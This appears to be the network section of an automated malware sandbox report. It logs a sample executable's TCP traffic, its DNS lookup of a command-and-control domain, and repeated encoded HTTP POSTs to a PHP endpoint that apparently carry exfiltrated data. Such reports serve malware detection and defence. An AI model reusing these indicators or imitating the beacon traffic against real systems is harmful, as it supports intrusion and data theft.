Jan 7, 2025 11:58:49.818636894 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:49.823378086 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:49.856314898 CET	80	50128	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:49.931315899 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:49.936292887 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:49.936588049 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:49.936763048 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:49.941504002 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.167705059 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.172895908 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.173229933 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.218035936 CET	80	50128	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.218161106 CET	50128	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.292620897 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.298544884 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.298559904 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.298571110 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.474014044 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.526880026 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.581619978 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.606745005 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.636276960 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.651849031 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.714515924 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.765136957 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.843447924 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.843525887 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.844423056 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.848345995 CET	80	50129	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.848401070 CET	50129	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.848557949 CET	80	50130	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.848615885 CET	50130	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.849200964 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:50.849621058 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.849769115 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:50.854501009 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.198870897 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.203991890 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.204005003 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.204015970 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.501331091 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.542500019 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.634046078 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.683109045 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.758383036 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.758400917 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.763319969 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.763402939 CET	80	50131	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:51.763417959 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.763534069 CET	50131	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.763737917 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:51.768496990 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.120858908 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.125745058 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.125812054 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.125821114 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.430056095 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.480007887 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.595041990 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.636250973 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.715431929 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.716097116 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.720426083 CET	80	50132	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.720489979 CET	50132	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.720902920 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:52.720982075 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.721081018 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:52.725846052 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.073828936 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.078741074 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.078752995 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.078761101 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.386117935 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.433207035 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.554688931 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.605012894 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.680836916 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.681103945 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.685830116 CET	80	50133	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.685858965 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:53.685961962 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.686007023 CET	50133	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.686106920 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:53.690826893 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.044317007 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.049259901 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.049273014 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.049402952 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.322851896 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.370635986 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.451139927 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.495625019 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.572752953 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.573426962 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.578109980 CET	80	50134	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.578164101 CET	50134	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.578691959 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.578752041 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.578906059 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.584331989 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.933336020 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:54.938385010 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.938400030 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:54.938407898 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.215739965 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.261234045 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.343053102 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.388354063 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.460385084 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.461664915 CET	50136	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.465396881 CET	80	50135	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.466535091 CET	80	50136	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.468533039 CET	50135	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.468533993 CET	50136	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.468606949 CET	50136	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.473404884 CET	80	50136	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.621330023 CET	50136	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.624368906 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.629213095 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.629332066 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.629436016 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.634272099 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.668299913 CET	80	50136	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.740596056 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.745409012 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.745662928 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.745870113 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.750654936 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.928268909 CET	80	50136	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.928354979 CET	50136	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.980495930 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:55.985326052 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:55.985466957 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.108362913 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.113301992 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.113315105 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.113326073 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.264163017 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.308384895 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.388413906 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.391745090 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.433124065 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.433130980 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.515217066 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.558116913 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.662911892 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.663104057 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.664848089 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.741466999 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.741533041 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.741657019 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.742043972 CET	80	50137	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.742060900 CET	80	50138	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:56.742098093 CET	50137	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.742121935 CET	50138	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:56.746520042 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.089648962 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.095140934 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.095154047 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.095264912 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.381663084 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.434331894 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.515774012 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.558139086 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.633757114 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.633764029 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.638679028 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.638802052 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.638928890 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.638937950 CET	80	50139	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.639204025 CET	50139	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:57.644246101 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:57.998347044 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.003200054 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.003226995 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.003236055 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.286161900 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.339378119 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.421103954 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.464369059 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.540498018 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.541317940 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.546423912 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.546433926 CET	80	50140	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.546500921 CET	50140	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.546516895 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.546633959 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.552483082 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.901953936 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:58.906846046 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.906857014 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:58.906919956 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:59.212985992 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:59.261276960 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.348721027 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:59.402348042 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.954346895 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.957128048 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.959326029 CET	80	50141	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:59.959409952 CET	50141	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.961966038 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:59.962065935 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.962615967 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:59.967381954 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:00.308237076 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:00.313296080 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:00.313304901 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:00.313313007 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:00.618024111 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:00.683154106 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.117683887 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.226398945 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.245091915 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.245923996 CET	50143	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.250077963 CET	80	50142	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.250159025 CET	50142	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.250737906 CET	80	50143	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.250829935 CET	50143	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.250967979 CET	50143	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.255698919 CET	80	50143	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.403242111 CET	50144	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.406343937 CET	50143	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.408030987 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.410398006 CET	50144	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.410612106 CET	50144	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.415404081 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.452286959 CET	80	50143	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.530816078 CET	50145	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.535576105 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.535820007 CET	50145	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.535856962 CET	50145	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.540606022 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.710779905 CET	80	50143	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.710850000 CET	50143	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.761373043 CET	50144	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.766267061 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.766592026 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.886528015 CET	50145	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:01.891352892 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.891361952 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:01.891392946 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:02.051342964 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:02.172408104 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:02.183923960 CET	80	50144	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:02.184218884 CET	50144	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:59:02.303039074 CET	80	50145	185.158.202.52	192.168.2.4
Jan 7, 2025 11:59:02.303119898 CET	50145	80	192.168.2.4	185.158.202.52

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 11:57:12.669301033 CET	61911	53	192.168.2.4	1.1.1.1
Jan 7, 2025 11:57:13.235071898 CET	53	61911	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 11:57:12.669301033 CET	192.168.2.4	1.1.1.1	0x61f7	Standard query (0)	306577cm.nyashka.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 11:57:13.235071898 CET	1.1.1.1	192.168.2.4	0x61f7	No error (0)	306577cm.nyashka.top		185.158.202.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

306577cm.nyashka.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:13.399939060 CET	283	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:13.746246099 CET	344	OUT	Data Raw: 00 01 01 01 06 0f 01 00 05 06 02 01 02 02 01 0b 00 05 05 00 02 03 03 0d 01 07 0a 06 06 03 00 50 0d 00 03 01 00 00 06 06 0f 01 02 0b 04 0b 07 03 06 06 0e 5d 0c 0e 04 06 07 00 03 0c 06 0a 00 01 02 57 0e 0e 07 56 04 53 0e 07 0c 55 0f 06 0c 55 04 54 Data Ascii: P]WVSUUT]QRQ\L~N\|v`[}vuRk\|zY`l^\|MRllcosiZ\|}lC`^lNie~V@z}n~Le
Jan 7, 2025 11:57:14.088145018 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:14.173059940 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1340 Connection: keep-alive Data Raw: 56 4a 7d 5e 7b 53 7f 06 79 72 5a 01 6b 62 7f 4b 7d 5e 73 40 68 60 62 54 6d 5a 74 4c 69 5c 70 05 74 63 65 4f 79 71 71 49 75 48 78 00 7e 5b 78 01 55 4b 72 54 60 62 51 01 7f 4c 53 05 7d 74 7e 43 79 66 74 0b 69 60 7f 49 75 5c 5b 07 76 61 5b 4a 7f 5f 7e 00 7d 7f 70 0c 6a 77 56 5a 75 66 7b 06 7c 5b 72 5d 7c 60 5b 02 78 49 6c 04 6f 67 63 5f 78 7e 7b 04 7a 71 64 00 78 05 72 06 6b 60 6c 4a 6f 64 7c 49 7e 71 73 4e 61 5f 56 4a 7a 51 41 5b 7f 49 74 0c 7f 61 58 54 75 6c 7b 5a 6f 52 73 5d 60 5e 6e 0d 7a 5f 7d 02 69 6c 7d 5b 7a 62 7a 01 77 63 70 5a 62 71 5e 03 60 62 7a 50 7e 5d 7a 06 77 71 7d 05 76 65 6b 50 68 6c 65 01 77 7c 78 04 7f 63 6c 07 6f 6c 51 03 6f 60 66 03 6b 6d 6c 08 76 67 6c 05 7e 61 72 09 69 53 5d 4f 6c 53 71 5d 7e 72 6a 5e 7b 5d 46 51 7f 52 52 0c 7f 63 74 0d 7d 5e 7e 4d 7b 54 67 01 7b 4c 60 49 7c 61 5e 58 7c 77 7c 53 7c 60 69 08 6e 5a 60 05 7d 5c 74 01 63 5d 57 51 7b 5c 79 44 77 76 56 00 7d 48 52 03 7d 76 75 42 74 62 63 07 7c 4c 75 4c 7f 49 7e 40 7b 58 6c 42 7d 4d 7f 02 76 62 7d 41 76 71 71 05 7e 61 [TRUNCATED] Data Ascii: VJ}^{SyrZkbK}^s@h`bTmZtLi\ptceOyqqIuHx~[xUKrT`bQLS}t~Cyfti`Iu\[va[J_~}pjwVZuf{\|[r]\|`[xIlogc_x~{zqdxrk`lJod\|I~qsNa_VJzQA[ItaXTul{ZoRs]`^nz_}il}[zbzwcpZbq^`bzP~]zwq}vekPhlew\|xclolQo`fkmlvgl~ariS]OlSq]~rj^{]FQRRct}^~M{Tg{L`I\|a^X\|w\|S\|`inZ`}\tc]WQ{\yDwvV}HR}vuBtbc\|LuLI~@{XlB}Mvb}Avqq~ajI~l^N~Ysvq{xLm~pu{wlL{wxBx}{FzLpxsPL\|`hDxw^J\|bsvOdH}\|gIx\|Oaw\|lx\|pw^bzOWJ\|\|XO{_jvM{u_dtqPNNTwLiLu[ZB\|R}Lw\|RM`{B]{^rD\|CRwYh~r\}S]Bzmnb[}pR\|BpC}`tA~YT{SYJ{LZI\|_Q}Yo\|`}ys`M~L`wsa@{qSufx}H\|O}f_wbsK\|r}}wvxH`A~MgIwbqLvqq\|Ob}\|VC}gguqcGxbi}`yywRyg\|M{}{yrpzsr{]NZxgoYi[cMwaV}U{KghObzQv\|]\xo`It~Nn_\\ioj_z\yvxBagx[L~Jx^TwbSuv`AyMtBs]kc^xgxyYkTwRtpA}\eQzSYQV~[AjcT_PcgBQoAQcSQSNVqdZTq][krQ^NNhcbB}^N\}b{]w`bPzqqae\|jf\|iHvPwr{Dk\rY\|eUoftjZgYwXK_cnFRrKjYLhx_[md\ViY\|]qzYhzY\|L{@Ixr^Xyt}XhcDT{c]RaQaYVk{XTVLvcZsD\|}A]\|\Pxv~^ioAW}e_Y`U[XcXXbLx^\^m[nqwUNRUC\u{s[k`DTp`\TcUQToWXdCaSij\|P~Ey[T[ [TRUNCATED]
Jan 7, 2025 11:57:14.173073053 CET	261	IN	Data Raw: 45 68 71 65 5c 7d 5a 79 6f 63 4b 70 4b 7a 5a 56 5c 5a 05 7a 45 5d 62 5c 40 53 59 0a 5b 52 0b 63 4c 54 7b 78 06 6c 58 74 44 6f 65 71 06 7a 58 6e 46 57 6b 6b 58 6c 70 7b 61 52 7e 74 01 6d 6e 78 56 57 05 6e 51 63 63 08 5f 55 5e 59 59 6a 65 7f 44 71 Data Ascii: Ehqe\}ZyocKpKzZV\ZzE]b\@SY[RcLT{xlXtDoeqzXnFWkkXlp{aR~tmnxVWnQcc_U^YYjeDqXQ\QtAVdUHPYSZTo][Ze}Vf\zR\_\|\DXb`E[rMc[Li}A[XjEZ\oMU}][ol\~^pZz{\|\ocDPqoWXdPRqqRado~b__y^~w{VhoNR\|gVRdRW~Fl]Ub`_zYYQx]GQnoCSqMc\MlbCZe
Jan 7, 2025 11:57:14.205744028 CET	259	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 384 Expect: 100-continue
Jan 7, 2025 11:57:14.415920019 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:14.416313887 CET	384	OUT	Data Raw: 55 59 59 5e 5a 43 59 5a 5a 59 51 55 5a 5a 50 53 55 57 5b 5f 55 57 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UYY^ZCYZZYQUZZPSUW[_UWTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(.<3#]6;0C+'&<65>(U=(S$/77#;.%[/ Q-0
